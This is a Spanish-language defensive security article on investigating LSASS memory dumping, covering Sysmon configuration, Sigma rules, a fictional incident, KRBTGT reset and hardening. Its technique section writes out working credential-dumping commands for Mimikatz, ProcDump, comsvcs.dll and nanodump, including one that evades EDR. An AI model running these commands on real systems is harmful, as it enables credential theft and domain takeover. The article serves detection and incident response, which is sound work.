LSASS Dump: Investigación de Robo de Credenciales
Investigación completa de robo de credenciales vía LSASS dump: técnicas de volcado (Mimikatz, ProcDump, comsvcs.dll, nanodump), detección con Sysmon Event ID 10 y reglas Sigma, investigación forense, contención con reset de KRBTGT, IOCs y mapeo MITRE ATT&CK T1003.001.
LSASS como objetivo
LSASS (Local Security Authority Subsystem Service, lsass.exe) es el proceso central de autenticación en Windows. Se ejecuta como SYSTEM y almacena en memoria:
- Hashes NTLM de usuarios autenticados localmente
- Tickets Kerberos (TGT y TGS) de sesiones activas
- Credenciales en texto claro (en configuraciones con WDigest habilitado)
- Credenciales de cuentas de servicio que se ejecutan en la máquina
- Tokens de autenticación de sesiones interactivas y de red
Comprometer LSASS en un servidor donde se ha autenticado un Domain Admin es equivalente a obtener las llaves del reino: el atacante puede moverse lateralmente, escalar privilegios y establecer persistencia a nivel de dominio.
Técnicas de volcado de LSASS
Técnica 1: Mimikatz (la más conocida)
Mimikatz accede directamente a la memoria de LSASS para extraer credenciales:
# Ejecución clásica de Mimikatz
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
# Output típico:
Authentication Id : 0 ; 999999 (00000000:000f423f)
Session : Interactive from 1
User Name : admin.jones
Domain : CORP
Logon Server : DC-01
SID : S-1-5-21-...
msv :
[00000003] Primary
* Username : admin.jones
* Domain : CORP
* NTLM : aad3b435...5404ee
* SHA1 : 2a3b4c5d...6e7f8a9b
kerberos :
* Username : admin.jones
* Domain : CORP.LOCAL
* Password : [REDACTED] ← texto claro si WDigest habilitado
tspkg :
* Username : admin.jones
* Domain : CORP
* Password : [REDACTED]
Perfil de detección: alto. Mimikatz es ampliamente detectado por firmas AV, reglas YARA, y EDR. Los atacantes frecuentemente lo ofuscan, lo inyectan en memoria o usan variantes como Pypykatz.
Técnica 2: ProcDump (Sysinternals)
ProcDump es una herramienta legítima de Sysinternals que puede volcar la memoria de cualquier proceso:
# Volcado de LSASS con ProcDump
procdump.exe -accepteula -ma lsass.exe lsass_dump.dmp
# Variante para evadir detección por nombre
procdump.exe -accepteula -ma -r lsass.exe dump.dmp
# El atacante luego transfiere el .dmp a su máquina
# y lo analiza offline con Mimikatz:
mimikatz.exe
sekurlsa::minidump lsass_dump.dmp
sekurlsa::logonpasswords
Perfil de detección: medio. ProcDump es legítimo pero el acceso a LSASS genera Event ID 10 en Sysmon.
Técnica 3: comsvcs.dll (Living off the Land)
comsvcs.dll es una DLL legítima del sistema que incluye una función MiniDump:
# Obtener PID de LSASS
$lsassPID = (Get-Process lsass).Id
# Volcado usando rundll32 + comsvcs.dll
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPID C:\temp\dump.bin full
# Variante con PowerShell
rundll32.exe comsvcs.dll, "#24" $lsassPID C:\temp\out.bin full
Perfil de detección: medio-bajo. Usa binarios legítimos del sistema (LOLBAS), lo que dificulta la detección basada en firmas. Requiere detección por comportamiento.
Técnica 4: nanodump
nanodump utiliza syscalls directas para evadir los hooks que los EDR colocan en las funciones de la API de Windows:
# nanodump evita hooks de EDR usando:
# - Syscalls directas (no pasa por ntdll.dll hookeada)
# - Volcado parcial de LSASS (solo las páginas necesarias)
# - Cifrado del dump en memoria antes de escribir a disco
# - Nombre de archivo aleatorio
nanodump.exe --write C:\temp\[random].log --valid
Perfil de detección: bajo. Diseñado específicamente para evadir EDR. La detección requiere monitorización a nivel de kernel o análisis de comportamiento avanzado.
Técnica 5: Task Manager (la más simple)
En sistemas sin restricciones, un usuario con privilegios de administrador puede volcar LSASS directamente desde el Task Manager:
1. Abrir Task Manager como administrador
2. Pestaña "Detalles"
3. Click derecho en lsass.exe
4. "Create dump file"
5. El volcado se guarda en %TEMP%\lsass.DMP
Perfil de detección: bajo. Es una funcionalidad legítima del sistema.
Detección con Sysmon Event ID 10
Sysmon Event ID 10 (Process Access) es el evento más relevante para detectar acceso a LSASS:
Configuración de Sysmon
<Sysmon schemaversion="4.90">
<EventFiltering>
<ProcessAccess onmatch="include">
<!-- Monitorizar accesos a LSASS -->
<TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
</ProcessAccess>
<ProcessAccess onmatch="exclude">
<!-- Excluir accesos legítimos conocidos -->
<SourceImage condition="is">C:\Windows\System32\svchost.exe</SourceImage>
<SourceImage condition="is">C:\Windows\System32\csrss.exe</SourceImage>
<SourceImage condition="is">C:\Windows\System32\wininit.exe</SourceImage>
<SourceImage condition="is">C:\Windows\System32\lsm.exe</SourceImage>
<SourceImage condition="is">C:\Program Files\Windows Defender\MsMpEng.exe</SourceImage>
</ProcessAccess>
</EventFiltering>
</Sysmon>
Evento típico de volcado de LSASS
<Event>
<EventID>10</EventID>
<EventData>
<SourceProcessId>7824</SourceProcessId>
<SourceImage>C:\Users\Public\procdump.exe</SourceImage>
<TargetProcessId>672</TargetProcessId>
<TargetImage>C:\Windows\System32\lsass.exe</TargetImage>
<GrantedAccess>0x1FFFFF</GrantedAccess>
<CallTrace>
C:\Windows\SYSTEM32\ntdll.dll+9c4e4|
C:\Windows\System32\KERNELBASE.dll+2c13e|
C:\Users\Public\procdump.exe+1234
</CallTrace>
</EventData>
</Event>
Valores de GrantedAccess sospechosos
0x1FFFFF = PROCESS_ALL_ACCESS (más sospechoso)
0x1010 = PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ
0x1410 = 0x1010 + PROCESS_QUERY_INFORMATION
0x1438 = Patrón típico de Mimikatz
0x1F1FFF = Variante de acceso completo
Accesos legítimos típicos:
0x1000 = PROCESS_QUERY_LIMITED_INFORMATION (normal para taskmgr)
0x0400 = PROCESS_QUERY_INFORMATION (normal para svchost)
Reglas Sigma para detección
Regla 1: Acceso sospechoso a LSASS
title: Suspicious LSASS Process Access
id: lsass-access-001
status: stable
description: >
Detecta acceso a la memoria de LSASS desde procesos
que no deberían necesitar ese nivel de acceso
logsource:
category: process_access
product: windows
detection:
selection:
TargetImage|endswith: '\lsass.exe'
GrantedAccess|contains:
- '0x1FFFFF'
- '0x1F1FFF'
- '0x1010'
- '0x1438'
filter_legitimate:
SourceImage|endswith:
- '\csrss.exe'
- '\wininit.exe'
- '\wmiprvse.exe'
- '\svchost.exe'
- '\MsMpEng.exe'
- '\MRT.exe'
SourceImage|startswith:
- 'C:\Program Files\CrowdStrike\'
- 'C:\Program Files\SentinelOne\'
- 'C:\Program Files (x86)\Trend Micro\'
condition: selection and not filter_legitimate
level: critical
tags:
- attack.credential_access
- attack.t1003.001
Regla 2: comsvcs.dll MiniDump
title: LSASS Dump via comsvcs.dll MiniDump
id: lsass-comsvcs-001
status: stable
description: >
Detecta el uso de comsvcs.dll para volcar la memoria
de LSASS (técnica Living off the Land)
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains|all:
- 'comsvcs'
- 'MiniDump'
ParentImage|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\pwsh.exe'
condition: selection
level: critical
tags:
- attack.credential_access
- attack.t1003.001
- attack.t1218.011
Regla 3: ProcDump apuntando a LSASS
title: ProcDump Targeting LSASS
id: lsass-procdump-001
status: stable
description: Detecta ProcDump volcando la memoria de LSASS
logsource:
category: process_creation
product: windows
detection:
selection_tool:
Image|endswith:
- '\procdump.exe'
- '\procdump64.exe'
CommandLine|contains:
- 'lsass'
selection_renamed:
OriginalFileName:
- 'procdump'
CommandLine|contains:
- 'lsass'
condition: selection_tool or selection_renamed
level: critical
tags:
- attack.credential_access
- attack.t1003.001
Regla 4: Creación de archivo de volcado LSASS
title: LSASS Memory Dump File Created
id: lsass-file-create-001
status: stable
description: Detecta la creación de archivos de volcado de LSASS
logsource:
category: file_creation
product: windows
detection:
selection:
TargetFilename|contains:
- 'lsass'
TargetFilename|endswith:
- '.dmp'
- '.dump'
- '.bin'
- '.log'
- '.tmp'
filter_wer:
TargetFilename|contains: '\Windows\WER\'
condition: selection and not filter_wer
level: high
tags:
- attack.credential_access
- attack.t1003.001
Escenario de investigación
Alerta inicial
El SIEM genera una alerta basada en la regla Sigma lsass-access-001:
ALERTA CRÍTICA: Acceso sospechoso a LSASS
Timestamp: 2026-05-20 03:42:17 UTC
Host: SRV-APP-03
Source Process: C:\Users\Public\svc_update.exe (PID 8412)
Target Process: C:\Windows\System32\lsass.exe (PID 672)
GrantedAccess: 0x1FFFFF (PROCESS_ALL_ACCESS)
User: CORP\svc-monitoring
Triage
# 1. Verificar el proceso sospechoso
Get-Process -Id 8412 | Format-List *
# Resultado: svc_update.exe, sin firma digital, 2.1 MB
# 2. Verificar hash del archivo
Get-FileHash C:\Users\Public\svc_update.exe -Algorithm SHA256
# SHA256: a7b8c9d0...e1f2a3b4 (desconocido en VirusTotal)
# 3. Verificar conexiones de red del proceso
Get-NetTCPConnection -OwningProcess 8412
# Conexión establecida hacia 194.147.142[.]x:443
# 4. Verificar archivos creados recientemente en el directorio
Get-ChildItem C:\Users\Public\ -Recurse |
Where-Object { $_.LastWriteTime -gt (Get-Date).AddHours(-24) }
# svc_update.exe (2.1 MB, creado hace 3 horas)
# output.bin (48 MB, creado hace 2 minutos) ← volcado LSASS
Análisis forense
# 5. Verificar cómo llegó svc_update.exe al sistema
# Revisar Sysmon Event ID 11 (File Create)
Get-WinEvent -FilterHashtable @{
LogName='Microsoft-Windows-Sysmon/Operational'
ID=11
} | Where-Object {
$_.Properties[5].Value -match 'svc_update'
} | Format-List TimeCreated, Message
# Resultado: archivo creado por powershell.exe
# ejecutado por CORP\svc-monitoring vía WinRM
Reconstrucción del ataque
Timeline reconstruido:
03:30 UTC - Atacante se autentica con credenciales de svc-monitoring vía WinRM
03:35 UTC - PowerShell descarga svc_update.exe desde C2
03:40 UTC - svc_update.exe se ejecuta (Mimikatz ofuscado)
03:42 UTC - Acceso a LSASS (Sysmon EID 10)
03:42 UTC - output.bin creado (volcado de LSASS)
03:44 UTC - output.bin exfiltrado al C2 (194.147.142[.]x)
03:45 UTC - output.bin eliminado del disco
Análisis de impacto
Verificar qué cuentas estaban autenticadas en SRV-APP-03 en el momento del volcado:
# Sesiones activas en el momento del incidente
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4624
StartTime=(Get-Date '2026-05-20 02:00:00')
EndTime=(Get-Date '2026-05-20 04:00:00')
} | Where-Object {
$_.Properties[8].Value -in @(2, 10, 11) # Interactive, RemoteInteractive, CachedInteractive
} | Select-Object TimeCreated,
@{N='User';E={$_.Properties[5].Value + '\' + $_.Properties[6].Value}}
Cuentas comprometidas:
admin.jones Domain Admin ← CRÍTICO
svc-sql Service Account ← Acceso a bases de datos
svc-monitoring Service Account ← Usada para el acceso inicial
user.garcia Standard User ← Bajo riesgo
Contención: el proceso KRBTGT reset
Dado que una cuenta de Domain Admin fue comprometida, existe el riesgo de Golden Ticket. El procedimiento de contención incluye:
Paso 1: Aislamiento inmediato
1. Aislar SRV-APP-03 de la red
2. Revocar la sesión de svc-monitoring (forzar logoff)
3. Deshabilitar la cuenta svc-monitoring
4. Reset de contraseña de admin.jones
5. Reset de contraseña de svc-sql
Paso 2: Primer reset de KRBTGT
# En el Domain Controller, como Domain Admin
# PRECAUCIÓN: esto invalida TODOS los tickets Kerberos activos
# Paso 2a: Verificar la fecha del último cambio de KRBTGT
Get-ADUser krbtgt -Properties PasswordLastSet |
Select-Object PasswordLastSet
# Si nunca fue cambiado, el riesgo es máximo
# Paso 2b: Primer reset
Set-ADAccountPassword -Identity krbtgt -Reset `
-NewPassword (ConvertTo-SecureString -AsPlainText "[NUEVA_PASSWORD]" -Force)
# Paso 2c: Documentar timestamp del reset
Get-Date -Format "yyyy-MM-dd HH:mm:ss UTC"
Paso 3: Esperar y segundo reset
# Esperar MÍNIMO 12 horas (idealmente 24 horas)
# Esto permite que los tickets Kerberos legítimos caduquen y se renueven
# Tras la espera, ejecutar el segundo reset:
Set-ADAccountPassword -Identity krbtgt -Reset `
-NewPassword (ConvertTo-SecureString -AsPlainText "[OTRA_PASSWORD]" -Force)
Paso 4: Verificación post-reset
# Verificar que los dos últimos cambios de password son recientes
Get-ADUser krbtgt -Properties PasswordLastSet, Modified |
Select-Object PasswordLastSet, Modified
# Monitorizar Event ID 4769 (Kerberos Service Ticket)
# para detectar tickets con encryption type RC4 (posible Golden Ticket)
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4769
} | Where-Object {
$_.Properties[5].Value -eq '0x17' # RC4 encryption
} | Select-Object TimeCreated, Message
IOCs del escenario
Hashes
svc_update.exe (Mimikatz ofuscado) a7b8c9d0...e1f2a3b4
output.bin (volcado LSASS) [efímero, eliminado]
Red
194.147.142[.]x:443 C2 y destino de exfiltración
Artefactos
C:\Users\Public\svc_update.exe Mimikatz renombrado
C:\Users\Public\output.bin Volcado LSASS (eliminado)
Sesión WinRM desde IP externa
Cuentas comprometidas
CORP\admin.jones Domain Admin (hash NTLM expuesto)
CORP\svc-sql Service Account (hash NTLM expuesto)
CORP\svc-monitoring Cuenta usada para acceso inicial
Mapeo MITRE ATT&CK
| Táctica | Técnica | ID | Detalle |
|---|---|---|---|
| Credential Access | OS Credential Dumping: LSASS Memory | T1003.001 | Volcado de LSASS con Mimikatz ofuscado |
| Execution | Command and Scripting Interpreter: PowerShell | T1059.001 | Descarga del payload vía PowerShell |
| Lateral Movement | Remote Services: Windows Remote Management | T1021.006 | Acceso inicial vía WinRM |
| Defense Evasion | Masquerading: Rename System Utilities | T1036.003 | Mimikatz renombrado como svc_update.exe |
| Exfiltration | Exfiltration Over C2 Channel | T1041 | Volcado LSASS enviado al C2 |
| Collection | Data from Local System | T1005 | Recolección de credenciales |
Medidas preventivas
Protecciones contra volcado de LSASS
- Credential Guard: habilitar en Windows 10/11 Enterprise y Server 2016+, aísla LSASS en un entorno virtualizado (VBS)
- RunAsPPL: configurar LSASS como Protected Process Light (
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL = 1) - Deshabilitar WDigest: prevenir credenciales en texto claro (
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential = 0) - Windows Defender Attack Surface Reduction: regla "Block credential stealing from LSASS"
Detección y monitorización
- Sysmon Event ID 10: configurar con exclusiones precisas para reducir ruido
- Windows Event ID 4656: auditar accesos a objetos del sistema
- EDR: habilitar protección de LSASS en la solución EDR
- Reglas Sigma: desplegar las 4 reglas documentadas en este artículo
Reducción de exposición
- Evitar autenticaciones interactivas de Domain Admin en servidores
- Tiered Admin Model: separar cuentas de administración por nivel
- Cuentas de servicio gestionadas (gMSA): rotación automática de credenciales
- PAM (Privileged Access Management): acceso just-in-time con expiración
Preguntas frecuentes
Artículos relacionados
Detectar Cobalt Strike Beacon en Red: Guía de Threat Hunting
Conti: De Cobalt Strike a Exfiltración y Cifrado en 72 Horas
Process Hollowing: Detección con Volatility y Análisis de Memoria
Threat Hunting: Movimiento Lateral con Sysmon y SIEM
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.